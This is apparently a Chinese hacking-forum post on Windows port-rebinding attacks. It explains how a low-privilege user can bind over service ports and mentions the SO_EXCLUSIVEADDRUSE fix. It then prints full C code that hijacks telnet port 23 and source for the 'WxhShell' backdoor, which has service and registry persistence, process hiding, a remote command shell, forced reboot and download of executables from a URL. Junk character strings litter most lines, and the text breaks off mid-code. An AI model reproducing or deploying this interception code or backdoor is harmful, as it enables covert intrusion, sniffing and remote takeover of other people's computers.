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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `+U-oqs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1!~9%=%  
|nD`0Rbw  
  saddr.sin_family = AF_INET; IySlu^a  
+ EM '-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jk~< si  
Q,scjt[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PWTAy\  
1Z`zdZs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f.!cR3XgV  
74Lq!e3hMF  
  这意味着什么?意味着可以进行如下的攻击: h-<+Pjc  
qu?D`29  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t JJaIb6Xj  
5z0SjQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &`@K/Nf$9  
U@H SU%H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q.x3_+CX  
x,n;GR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8E D6C"6  
ss*dM.b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \5Hfe;ny-~  
'Ic$p>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @hk~8y]rz  
6b@:La  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !y6 D+<k*]  
X"yLo8y8$  
  #include dD=dPi#  
  #include q?`bu:yS  
  #include 0 ~VniF^  
  #include    zH.7!jeE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0 j6/H?OT  
  int main() ^X^4R1V)  
  { X[R/j*K  
  WORD wVersionRequested; DEs/?JZG  
  DWORD ret; ,2"-G";!f\  
  WSADATA wsaData; k5((@[  
  BOOL val; 7Kfh:0Ihhy  
  SOCKADDR_IN saddr; Q~nc:eWD  
  SOCKADDR_IN scaddr; NI3_wV  
  int err; `U)~fu/\2M  
  SOCKET s; }yUZ(k#  
  SOCKET sc; b*7OIN5h  
  int caddsize; =^NR(:SaaU  
  HANDLE mt; nT:ZSJWM  
  DWORD tid;   O0e6I&u :  
  wVersionRequested = MAKEWORD( 2, 2 ); SwLul4V  
  err = WSAStartup( wVersionRequested, &wsaData ); h&&ufF]D  
  if ( err != 0 ) { $Die~rPU  
  printf("error!WSAStartup failed!\n"); O.}{s;  
  return -1; ;'*"(F=D6  
  } @Kp2l<P  
  saddr.sin_family = AF_INET; OXI.>9  
   oGa8}Vtc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8@Pv nOL  
"+p_{J/P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2-FL&DE  
  saddr.sin_port = htons(23); ;:f.a(~c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;8H m#p7,  
  { Tw=Jc 's  
  printf("error!socket failed!\n"); NeQ/#[~g  
  return -1; 0:Xvch0  
  } OT+LQ TE  
  val = TRUE; :2}zovsdj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o@vo,JU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tv5G']vO\  
  { 6Z0@4_Y@B6  
  printf("error!setsockopt failed!\n"); ml\A)8O]j/  
  return -1; $0 eyp]XC\  
  } 3V2 "1Ic  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^As^hY^p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >HXT:0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $o0o5 ^Z-  
M#UW#+*g!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lo Oh }y+  
  { $)mK]57  
  ret=GetLastError(); ;mu^WIj  
  printf("error!bind failed!\n"); V^[o{'+  
  return -1; hIE$ut +  
  } oIN!3  
  listen(s,2); \}Z5}~S  
  while(1) ,dP-sD;<  
  {  [td)v,  
  caddsize = sizeof(scaddr); ~J)_S' #  
  //接受连接请求 <`}Oi 5nW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^fa+3`>  
  if(sc!=INVALID_SOCKET) 7E 6gXf.  
  { x=(Q$Hl5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /^SIJS@^`>  
  if(mt==NULL) To.CY^M  
  { "k[-eFz/@M  
  printf("Thread Creat Failed!\n"); . _Bejh  
  break; *F[@lY\p  
  }  R5(<:]  
  } !`JaYUL[e  
  CloseHandle(mt); m r&nB  
  } A!\ g!*  
  closesocket(s); gs7h`5[es  
  WSACleanup(); cxn3e,d`  
  return 0; Q/xT>cUd  
  }   /_rEI,[k  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]c4?-Vq%u  
  { Dk[m)]w\  
  SOCKET ss = (SOCKET)lpParam; 9!&fak _  
  SOCKET sc; Gm~jC <  
  unsigned char buf[4096]; ErnjIx:  
  SOCKADDR_IN saddr; ;EDc1:  
  long num; ~.;+uH<i  
  DWORD val; YMb\v4  
  DWORD ret; >)\x\e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m^I+>Bp/:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F%M4i`Vh  
  saddr.sin_family = AF_INET; `f?v_Ui-$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LlKvi_z  
  saddr.sin_port = htons(23); ji9 (!G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "^Y)&<J&  
  { {}RE;5n\['  
  printf("error!socket failed!\n"); PT4Wox9U  
  return -1; 6aRPm%  
  } bis}zv^%v  
  val = 100; {xJq F4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v,Eqn8/O  
  { dY[ XNP  
  ret = GetLastError(); 2[-@ .gH  
  return -1; _$g6Mj]1z  
  } iZm# "}VG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4LO4SYW7  
  { YW9r'{(D(I  
  ret = GetLastError(); B8_)I.  
  return -1; iYJ:P  
  } <?yf<G'$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dp;;20z  
  { IsP-[0it  
  printf("error!socket connect failed!\n"); J8IdQ:4^l  
  closesocket(sc); P5-1z&9O  
  closesocket(ss); 0se0AcrW  
  return -1; x \0( l5>  
  } A8tzIh8  
  while(1) z B/#[~  
  { ,t?c=u\5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "u^%~2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f"i(+:la  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (OS -v~{r@  
  num = recv(ss,buf,4096,0); /6S% h-#\  
  if(num>0) su:~X d  
  send(sc,buf,num,0); WRIOjQ:  
  else if(num==0) ]$Ud`<Xnx  
  break; yR}PC/>  
  num = recv(sc,buf,4096,0); Y%$@ZYW  
  if(num>0) GY% ^!r  
  send(ss,buf,num,0); v|~&I%S7  
  else if(num==0) ygI81\ D  
  break; rFn%e  
  } Z8mSm[w  
  closesocket(ss); DNTkv_S  
  closesocket(sc); pAK7V;sJ  
  return 0 ; *S _[8L"  
  } }MU}-6  
3X|7 R  
j:k}6]p}  
========================================================== 5~8FZ-x  
<=O/_Iu(  
下边附上一个代码,,WXhSHELL sVzU>  
MX*T.TG8  
========================================================== 0'm$hU}  
o}^/K m+t  
#include "stdafx.h" @bfW-\ I  
^ &UezDTS  
#include <stdio.h> _T\/kJ)Q\  
#include <string.h> TTGk"2 Q'  
#include <windows.h> "Sx}7?8AB  
#include <winsock2.h> WC0gJy  
#include <winsvc.h> ]\TYVv)  
#include <urlmon.h> KH=4A-e,0  
s<#["K*_  
#pragma comment (lib, "Ws2_32.lib") x{'3eJ^8  
#pragma comment (lib, "urlmon.lib") BeR7LV  
AhozrroV  
#define MAX_USER   100 // 最大客户端连接数 ,?k0~fuG6  
#define BUF_SOCK   200 // sock buffer t 0 omJP  
#define KEY_BUFF   255 // 输入 buffer y"bSn5B[  
_U Q|I|V#  
#define REBOOT     0   // 重启 "K Or)QD/  
#define SHUTDOWN   1   // 关机 S{uKm1a  
&Y `V A  
#define DEF_PORT   5000 // 监听端口 H]I^?+)9  
n7EG%q6m+  
#define REG_LEN     16   // 注册表键长度 PJ$C$G  
#define SVC_LEN     80   // NT服务名长度 !\'NBq,  
KCDbE6  
// 从dll定义API LA +BH_t&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ' \8|`Zb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bh Nqj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f52*s#4}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ng Jp2ut  
9>QGsf.3  
// wxhshell配置信息 Gl!fT1zh0  
struct WSCFG { <]w(1{q(  
  int ws_port;         // 监听端口 Sh@en\m=#S  
  char ws_passstr[REG_LEN]; // 口令 k'6Poz+<  
  int ws_autoins;       // 安装标记, 1=yes 0=no %jBI*WzR  
  char ws_regname[REG_LEN]; // 注册表键名 '!V5 #J  
  char ws_svcname[REG_LEN]; // 服务名 (7zdbJX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K-<kp!v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^Fop/\E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GS*Mv{JJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,)svSzR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]QqT.z%B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 __mnz``/Y  
dRhsnT+KX  
}; j]6c_r3  
-O~ V4004  
// default Wxhshell configuration 9y$"[d27;+  
struct WSCFG wscfg={DEF_PORT, AcoU.tpP  
    "xuhuanlingzhe", iHYvH   
    1, RX"~m!26  
    "Wxhshell", <w1# 3Mu'  
    "Wxhshell", +t8{aaV  
            "WxhShell Service", pBR9)T\ n  
    "Wrsky Windows CmdShell Service", dv7IHUFf  
    "Please Input Your Password: ", C@P4}X0,=  
  1, H?H(=  
  "http://www.wrsky.com/wxhshell.exe", bP+b~!3  
  "Wxhshell.exe" L_~vPp  
    }; ' K\ $B_  
d*cAm$  
// 消息定义模块 .[Hv/?L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H)@f_pfj(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qX_( M2oLU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <H]1 6  
char *msg_ws_ext="\n\rExit."; +G.F'  
char *msg_ws_end="\n\rQuit."; #P,C9OQD  
char *msg_ws_boot="\n\rReboot..."; +`(,1L1  
char *msg_ws_poff="\n\rShutdown..."; $qp,7RW  
char *msg_ws_down="\n\rSave to "; _v\L'`bif  
(\qO~)[0  
char *msg_ws_err="\n\rErr!"; HLruZyN4  
char *msg_ws_ok="\n\rOK!"; 9)~Ha iVB  
aP`[O]8j  
char ExeFile[MAX_PATH]; B |pdqSI  
int nUser = 0; #q-7#pp  
HANDLE handles[MAX_USER]; &pk&8_=f  
int OsIsNt; -~HyzX\cZB  
bMjE@S&  
SERVICE_STATUS       serviceStatus; ajJ+Jn\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5h!ZoB)n  
WF&?OHf2  
// 函数声明 wJ}9(>id*  
int Install(void); ^{l^Z +b.  
int Uninstall(void); p]^?4  
int DownloadFile(char *sURL, SOCKET wsh); ]!mC5Ea  
int Boot(int flag); +<TnE+>j  
void HideProc(void); cy%S5Rz  
int GetOsVer(void); }b$W+/M\  
int Wxhshell(SOCKET wsl); nyRQ/.3  
void TalkWithClient(void *cs); U%qE=u-  
int CmdShell(SOCKET sock); =)O%5<Lwx  
int StartFromService(void); ^DaP^<V  
int StartWxhshell(LPSTR lpCmdLine); <q<kqy5s-R  
,bU 8S\8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p2)563#RS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pIbm)-  
&}."sGK  
// 数据结构和表定义 F-&=N {+  
SERVICE_TABLE_ENTRY DispatchTable[] = muZ6}&4  
{ 7wA.:$  
{wscfg.ws_svcname, NTServiceMain}, 5;4bZ3e,0  
{NULL, NULL} O)EA2`)E  
}; Ug~ ]!L  
,JVWn>s  
// 自我安装 AzlZe\V?)~  
int Install(void) um}%<Cy[  
{ %.nZ@';.  
  char svExeFile[MAX_PATH]; P)9$}9i  
  HKEY key; gOSFvH8FU  
  strcpy(svExeFile,ExeFile); 2*5]6B-(  
*? <ygzX  
// 如果是win9x系统,修改注册表设为自启动 V W2+ Bs}  
if(!OsIsNt) { jSKhWxL;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d:"#_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a%igc^GS2  
  RegCloseKey(key); VAL]\@Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +C8yzMN\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~IhLjE  
  RegCloseKey(key); L&nqlH@+~  
  return 0; 9cMQ51k)E  
    } hALg5.E{T  
  } Yfa`}hQ  
} +yO^,{8SE  
else { dF#`_!4pbf  
BJ,D1E  
// 如果是NT以上系统,安装为系统服务 grWmF3c#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w /l\p3n  
if (schSCManager!=0) k&dLg5O  
{ !STa}wl  
  SC_HANDLE schService = CreateService %jc"s\  
  ( u}~jNV  
  schSCManager, k&M9Hn2  
  wscfg.ws_svcname, Pr_$%x9D  
  wscfg.ws_svcdisp, a|u&N:v7B  
  SERVICE_ALL_ACCESS, -rXo}I,VI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }r _d{nhi  
  SERVICE_AUTO_START, SAUfA5|e  
  SERVICE_ERROR_NORMAL, W}0cM9 g  
  svExeFile, ~REP@!\r^  
  NULL,  =o? Q0  
  NULL, mQiVTIP3[O  
  NULL, ]?"1FSu-8r  
  NULL, +.Cx.Nf(  
  NULL (t%+Z"j  
  ); qbZY[Q+F  
  if (schService!=0) :3h'Hr  
  { = 3("gScUj  
  CloseServiceHandle(schService); 3{"MN=  
  CloseServiceHandle(schSCManager); Ee0}Xv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R'e>YDC  
  strcat(svExeFile,wscfg.ws_svcname); <{"Jy)Uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PrwMR_-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -s5>GwZt  
  RegCloseKey(key); 2"IsNbWV  
  return 0; ~V`F5B  
    } %'vLkjI.  
  } zh6 0b{  
  CloseServiceHandle(schSCManager); u ^}R]:n  
} +ia N[F$  
} {%PgR){qR  
J\fu6Ti  
return 1; hxX-iQya  
} 1O@y >cV  
;:l>Kac  
// 自我卸载 }g]O_fN7~  
int Uninstall(void) {CH *?|t  
{ l+n0=^ Z  
  HKEY key; /tqQAvj  
p*l]I *x'<  
if(!OsIsNt) { Ph Ep3o&"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <>I4wqqb  
  RegDeleteValue(key,wscfg.ws_regname); k}tT l 2  
  RegCloseKey(key); "H"4]m1Wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YgfQ{3^I  
  RegDeleteValue(key,wscfg.ws_regname); iLR^V!  
  RegCloseKey(key); PEIf)**0N  
  return 0; ,lUr[xzV  
  } Z?AX  
} bzh`s<+  
} {=A8kgt  
else { @b2JR^  
-ZKo/ N>6}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j$Unw  
if (schSCManager!=0) 9d8bh4[  
{ ;c;5O@R}3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ouO<un  
  if (schService!=0) (Ymj  
  { GL- r;  
  if(DeleteService(schService)!=0) { P{tH4V23T  
  CloseServiceHandle(schService); 1,pg7L8H  
  CloseServiceHandle(schSCManager); Zwm2T3@e  
  return 0; n |Is&fy  
  } g2t'u4>  
  CloseServiceHandle(schService); hDAxX= FM  
  } VzZ'W[/7)B  
  CloseServiceHandle(schSCManager); 5L%\rH&N  
} s J~WzQ  
} JS{trqc1d  
kntM  
return 1; ~4{|  
} {L9WeosQ  
'(o*l  
// 从指定url下载文件 1Ka,u20  
int DownloadFile(char *sURL, SOCKET wsh) yL.Z{wd  
{ | bWvQdN  
  HRESULT hr; `zmj iC  
char seps[]= "/"; O77bm,E  
char *token; -Uu65m~:{k  
char *file; !GL kAV  
char myURL[MAX_PATH]; n$z+g>~N  
char myFILE[MAX_PATH]; BL?Bl&p(  
s4uYp  
strcpy(myURL,sURL); >56I`[)  
  token=strtok(myURL,seps); f 3t&Bcw$  
  while(token!=NULL) c u:1|gt  
  { Ed$;#4  
    file=token; i<ug("/  
  token=strtok(NULL,seps); <f+ 9wuZ  
  } ehe;<A  
Q q7+_,w  
GetCurrentDirectory(MAX_PATH,myFILE); . v L4@_  
strcat(myFILE, "\\"); G$T#ql  
strcat(myFILE, file); /Q*o6G ys0  
  send(wsh,myFILE,strlen(myFILE),0); D <SLv,Y  
send(wsh,"...",3,0); CQGq}.Jt!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q`* v|Lp  
  if(hr==S_OK) I&lb5'6D  
return 0; ^w1&A 3=6  
else `of` uB  
return 1; i=mk#.j~  
 WPnw  
} ay-M.J  
Rz\:)<G  
// 系统电源模块 {~u#.(  
int Boot(int flag) m?4L>'  
{ x;; =+)Gg  
  HANDLE hToken; _t'S<jTI  
  TOKEN_PRIVILEGES tkp; $wq[W,'#L  
Q#a<T4l  
  if(OsIsNt) { E!_mXjlPc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +T|M U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >3\($<YDZM  
    tkp.PrivilegeCount = 1; vC1D}=Fp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 07FS|>DM'Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0!6n  
if(flag==REBOOT) { aUVJ\ ;V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %40uw3  
  return 0; BZr$x8%ki  
} Q(gc(bJV  
else { S]#xG+$<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oMNgyAp^  
  return 0; g4"0:^/  
}  |)'6U3  
  } =}h8Cl{H/  
  else { Q3OGU}F  
if(flag==REBOOT) { w,/&oe5M+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AXmW7/Sj"  
  return 0; ,-[e{=Cz  
} dH8^\s .F  
else { '1u!@=.\G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZA>p~Zt  
  return 0; Y  c]  
} w!8xZu  
} FK~FC:K  
: U:>X6f  
return 1; g~#HiBgWq[  
} =:~%$5[[  
}g@5%DI]  
// win9x进程隐藏模块 yv&VK ht  
void HideProc(void) sb^%eUU])  
{ N%:)MT,&g  
U! xOJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nS`DI92I  
  if ( hKernel != NULL ) N=hhuKt]  
  { E?@batIrf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KTzkJx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |#x]FNg  
    FreeLibrary(hKernel); Ait3KIJ9  
  } p l.D h  
cI g|sn  
return; q)Uh_l.Cj  
} [`'[)B  
L4wKG&  
// 获取操作系统版本 %?`TyVt&0  
int GetOsVer(void) qDzd_E@aR  
{ W\W|v?r  
  OSVERSIONINFO winfo; )C0dN>Gb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bF#1'W&  
  GetVersionEx(&winfo); IW1+^F9NEw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?jDdF  
  return 1; R,'` A.Kk  
  else GNIZHyT(O  
  return 0; vXA+4 ?ZG  
} Q, 1TD 2)h  
x<-n}VK\  
// 客户端句柄模块 equTKM  
int Wxhshell(SOCKET wsl) 8T2iqqG/1  
{ kS@6'5U  
  SOCKET wsh; _r6aLm2n  
  struct sockaddr_in client; 8&0+Az"{O  
  DWORD myID; >gqd y*Bg  
/N'|Vs,X  
  while(nUser<MAX_USER) l_`DQ8L`  
{ >#j f Z5t  
  int nSize=sizeof(client); R"0fZENTG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9*"Ae0ok1  
  if(wsh==INVALID_SOCKET) return 1; YH%aPsi  
T9,T'y>BD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oK!W<#  
if(handles[nUser]==0) zURob MpE#  
  closesocket(wsh); -5_[m@Vr  
else |KM<\v(A{  
  nUser++; p? q~.YY  
  } T{VdlgL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E(l'\q'.  
ELlTR/NW  
  return 0; N=`xoF  
} /J-:?./  
g'F{;Ur  
// 关闭 socket ;is*[r\|1  
void CloseIt(SOCKET wsh) 13X0LN  
{ 3Xun>ZQ-  
closesocket(wsh); IQz:D J  
nUser--; +/L "A  
ExitThread(0); z 5T_  
} x-Cy,d:YX  
l_Ffbs_6t  
// 客户端请求句柄 qBkI9H  
void TalkWithClient(void *cs) t mCm54  
{ |6mDooTy  
:Y AxL J  
  SOCKET wsh=(SOCKET)cs; KG5h$eM'  
  char pwd[SVC_LEN]; 3*DwXH+  
  char cmd[KEY_BUFF]; BV9%|  
char chr[1]; f8m%T%]f  
int i,j; `(RQh@H  
RH=Tu6i  
  while (nUser < MAX_USER) { BgzER[g|q{  
v@6TC1M,  
if(wscfg.ws_passstr) { %dyEF8)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~;pv &s5}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UX9r_U5)  
  //ZeroMemory(pwd,KEY_BUFF); $h({x~Oj9  
      i=0; JpFfO<uO  
  while(i<SVC_LEN) { <}^W9 >u<  
C#y[UM5\k;  
  // 设置超时 ikSm;.  
  fd_set FdRead; h7EKb-@  
  struct timeval TimeOut; 2rr}5i)r|  
  FD_ZERO(&FdRead); Q|^TR__  
  FD_SET(wsh,&FdRead); '_~X(izc  
  TimeOut.tv_sec=8; 5K~kzR L$r  
  TimeOut.tv_usec=0; |Bv?! sjf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yWs_Z6b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~"Pu6-\VT  
e@-"B9~   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ae)0Yu`*G7  
  pwd=chr[0]; UHtxzp =[  
  if(chr[0]==0xd || chr[0]==0xa) { \Lz2"JI  
  pwd=0; Q}?yj,D D  
  break; #b~wIOR)Z  
  } Llf |fayq  
  i++; (ei;Y~i  
    } Ew4>+o!  
31w9$H N  
  // 如果是非法用户,关闭 socket `o9vE0^T<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W.xlS ZEB  
} F^ m`j6  
V7zF5=w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m]bv2S+5y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WhO;4-q)2  
yAu-BObD  
while(1) { FyZa1%Tv@  
k \|[=  
  ZeroMemory(cmd,KEY_BUFF); H$:Z`CQt<  
VtR?/+8X  
      // 自动支持客户端 telnet标准   5aF03+ko  
  j=0; ,1\nd{  
  while(j<KEY_BUFF) { vZdn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CvCk#:@HM  
  cmd[j]=chr[0]; Cmq.V@  
  if(chr[0]==0xa || chr[0]==0xd) { AC=/BU3<yc  
  cmd[j]=0; RP 2MtP"M  
  break; d(>7BV  
  } mulK(mp  
  j++; C] <K s  
    } VQm)32'  
+\`D1d@  
  // 下载文件 t|gEMDGa3  
  if(strstr(cmd,"http://")) { O1@-)<_71  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ caKzq  
  if(DownloadFile(cmd,wsh)) wAr (5nEbx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?fog 34g  
  else idwiM|.iU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xd_86q8o  
  } VrF(0,-Z`3  
  else { avR4#bfc  
_E e`Uk  
    switch(cmd[0]) { {gE19J3  
  *t;'I -1w^  
  // 帮助 :*bmc/c  
  case '?': { Gs*FbrY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 73$^y)AvY  
    break; 4:\s.Z{!3  
  } r( _9_%[  
  // 安装 Gy9+-7"V  
  case 'i': { uiO7sf6  
    if(Install()) W;]*&P[[   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |kvom 4T  
    else |bQX9|L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,x| 4nk_  
    break; m6BIQ(l  
    } h[D"O6 y  
  // 卸载 d}K"dr:W5  
  case 'r': { SRl:+!@.  
    if(Uninstall()) |-N\?N9"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &zsaVm8  
    else 7xP>AU)y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s(Of EzsH=  
    break; 3K2`1+kBVG  
    } #zC_;u$  
  // 显示 wxhshell 所在路径 K/Q^8%Z  
  case 'p': { J4qFU^  
    char svExeFile[MAX_PATH]; \(t.|  
    strcpy(svExeFile,"\n\r"); .+<Ul ]e/  
      strcat(svExeFile,ExeFile); T}(J`{ 9i  
        send(wsh,svExeFile,strlen(svExeFile),0); .6%-Il  
    break; D6,rb 9  
    } 4@PH5z  
  // 重启 bk E4{P"  
  case 'b': { }2Y:#{m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &pS <4  
    if(Boot(REBOOT)) uBLI!N-G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB?$W4  
    else { B\a-Q,Wf  
    closesocket(wsh); 4,m aA  
    ExitThread(0); <4z |"(  
    } B$aA=+<S  
    break; {n8mE,;M  
